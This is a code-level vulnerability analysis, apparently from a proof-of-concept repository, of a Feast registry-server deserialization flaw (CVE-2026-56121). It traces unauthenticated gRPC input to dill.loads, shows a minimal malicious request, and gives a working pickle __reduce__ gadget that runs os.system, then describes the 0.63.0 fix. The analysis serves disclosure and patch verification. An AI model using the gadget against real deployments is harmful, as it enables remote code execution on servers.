5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / ANALYSIS.md MD
# Code-level analysis — CVE-2026-56121

## 1. The deserialization sink

Feast serializes an `OnDemandFeatureView`'s transformation function with `dill`
(a pickle superset) into `UserDefinedFunctionV2.body`. The transformation classes
deserialize it verbatim in `from_proto`:

```python
# sdk/python/feast/transformation/pandas_transformation.py  (and python_transformation.py)
import dill
@classmethod
def from_proto(cls, user_defined_function_proto):
    return cls(
        udf=dill.loads(user_defined_function_proto.body),   # SINK
        udf_string=user_defined_function_proto.body_text,
    )
```

`dill.loads()` runs the pickle opcode stream, so a `body` containing a reduce
gadget — `(os.system, ("…",))` — executes a command while being "loaded".

## 2. The remotely reachable path

The registry gRPC server exposes `ApplyFeatureView`:

```python
# sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
    feature_view_type = request.WhichOneof("base_feature_view")
    if feature_view_type == "feature_view":
        feature_view = FeatureView.from_proto(request.feature_view)
    elif feature_view_type == "on_demand_feature_view":
        feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # -> dill.loads
    elif feature_view_type == "stream_feature_view":
        feature_view = StreamFeatureView.from_proto(request.stream_feature_view)

    assert_permissions_to_update(resource=feature_view, ...)   # authorization is AFTER from_proto
    self.proxied_registry.apply_feature_view(...)
    return Empty()
```

`OnDemandFeatureView.from_proto` → `_parse_transformation_from_proto` →
`PandasTransformation.from_proto` → `dill.loads(body)`.

`server.add_insecure_port("[::]:6570")` (no TLS) and the default
`feature_store.yaml` ships:

```yaml
auth:
    type: no_auth
```

So in a default deployment the call is fully unauthenticated; and even with `auth`
enabled, the deserialization at `from_proto` executes **before**
`assert_permissions_to_update` is reached — which is why the advisory describes it as
exploitable by "unauthenticated **or unauthorized**" attackers.

## 3. Minimal weaponized proto

```
ApplyFeatureViewRequest {
  project: "feature_repo"
  on_demand_feature_view {
    spec {
      name: "pwn"
      mode: "pandas"
      feature_transformation {
        user_defined_function { name:"pwn", body:<malicious pickle>, body_text:"...", mode:"pandas" }
      }
    }
  }
}
```

`OnDemandFeatureView.from_proto` defaults `mode` to `"pandas"` and parses the
transformation before validating sources/features, so this minimal spec reaches the
sink. The reduce gadget:

```python
class _Payload:
    def __init__(self, cmd): self.cmd = cmd
    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))
body = pickle.dumps(_Payload("id > /tmp/feast_pwned"))
```

`os.system` returns `0`; `from_proto` then treats `0` as the UDF and later raises
`TypeError: 0 is not a module, class, method, or function`. That post-execution error
is cosmetic — the command already ran inside `dill.loads()`.

## 4. The fix (0.63.0)

`0.63.0` threads a `skip_udf` flag through `*FeatureView.from_proto` and sets it on
the **registry server** path, so applying a spec no longer deserializes the UDF body
(the registry only needs to persist the bytes, not execute them):

```python
# patched registry_server.py / from_proto
OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True)
...
# from_proto: "Parse transformation from proto (skip UDF deserialization if requested)"
if proto.spec.HasField("user_defined_function") and not skip_udf:
    ... dill.loads(...)
```

With `skip_udf=True` on the server, the `dill.loads` sink is never reached for
attacker-supplied specs — the binary discriminator between **VULNERABLE (< 0.63.0)**
and **PATCHED (≥ 0.63.0)**.